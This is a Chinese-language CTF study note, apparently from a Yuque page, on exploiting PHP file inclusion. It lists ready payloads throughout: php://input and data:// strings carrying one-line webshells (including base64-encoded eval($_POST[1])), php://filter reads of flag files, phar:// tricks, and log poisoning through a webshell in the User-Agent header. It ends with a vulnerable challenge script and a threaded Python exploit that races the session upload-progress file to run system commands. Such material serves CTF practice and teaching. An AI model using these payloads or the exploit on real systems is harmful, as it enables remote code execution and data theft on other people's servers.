文件包含漏洞
有include,require_once()包含一次,对软连接操作存在缺陷,超过20此就可以再次包含
伪协议

- 变量=php://input+一句话木马
- 变量=file://文件地址
- 变量=php://filter/convert.base64-encode/resource=文件名(/flag,根目录下)
- 变量= php://filter/convert.iconv.utf8.utf16/resource=文件名//绕过base64
- data数据流: ?page=data://text/plain, 一句话木马
- ?page=data://text/plain, 系统命令执行
- ?page=data://text/plain,
- 也可以将后面 进行base64编码
- ?page=data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==木马
- ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg== base64的意思是
php://filter/read=convert.base64-encode/resource=[文件名]
- phar://伪协议
这个就是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压 ?file=phar://压缩包/内部文件
- file_put_contents(“1.php”,“”);
php://filter,convert.iconv
convert.iconv..orconvert.iconv./
和 就是编码方式,有如下几种:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| UCS-4* UCS-4BE UCS-4LE* UCS-2 UCS-2BE UCS-2LE UTF-32* UTF-32BE* UTF-32LE* UTF-16* UTF-16BE* UTF-16LE* UTF-7 UTF7-IMAP UTF-8* ASCII* EUC-JP* SJIS* eucJP-win* SJIS-win*
|
包含日志文件 进行getshell
日志文件路径: ?file=/var/log/nginx/access.log

上传后用burpsuite抓包

在UA头植入一句话木马

服务器即相应报错,可以蚁剑连接,也可以直接用密码文件包含

1 2 3 4 5 6 7 8 9 10
| error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }
|
这种情况使用data伪协议,就会自动闭合,相当于把.php注释掉了
session条件竞争文件包含
利用场景
当存在一个文件包含漏洞但找不到可以包含恶意文件时候
判断及原理
phpinfo();

当选项为on,加入Cookie带了SESSION_UPLAOD_PROGRESS
这个选项原本是代表你上传文件的进度的,就比如你上传文件到服务器百分之五十、百分之七十这样的进度条

这个是文件的路径,这时候会在/tmp目录下生成一个/tmp/sess_xxx的文件xxx就是你自己设置的PHPSESSID的名字,文件的内容就会包含SESSION_UPLOAD_PROGRESS这个cookie的值
由于这个文件存活时间很短,所以我们需要一直上传文件来保持他的存活,这就是条件竞争

当这个选项关闭时我们可以直接进行文件上传,当这个选项开启时,我们就需要进行条件竞争.
题目复现及exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php if(!isset($_GET['mode'])){ highlight_file(__file__); }else if($_GET['mode'] == "eval"){ $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();'; if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); eval($shell); }
if(isset($_GET['file'])){ if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); include $_GET['file']; }
function filter($var){ $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
foreach($banned as $ban){ if(strstr($var, $ban)) return True; }
return False; }
function checkNums($var){ $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $cnt = 0; for($i = 0; $i < strlen($alphanum); $i++){ for($j = 0; $j < strlen($var); $j++){ if($var[$j] == $alphanum[$i]){ $cnt += 1; if($cnt > 8) return True; } } } return False; } ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| import io import requests import threading import re
session = requests.session() sess = 'pop' url1 = "http://node4.anna.nssctf.cn:28710/" file = { 'file': io.BytesIO(b'a'*1024*50) } cookies = { 'PHPSESSID': sess }
def write(): while True: data1 = { 'PHP_SESSION_UPLOAD_PROGRESS': "<?php system('cat /n*;echo findit;')?>" } data2 = { "file": "/tmp/sess_pop", "mode":"eval", "shell":"1" } r = session.post(url1+"index.php", data=data1, files=file, cookies=cookies,params=data2) if "findit" in r.text: print("success") print(r.text)
evnet=threading.Event() with requests.session() as session: for i in range(15): threading.Thread(target=write).start() evnet.set()
|
来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/ssft1rm9imexz3vi
语雀文档ID: 135136142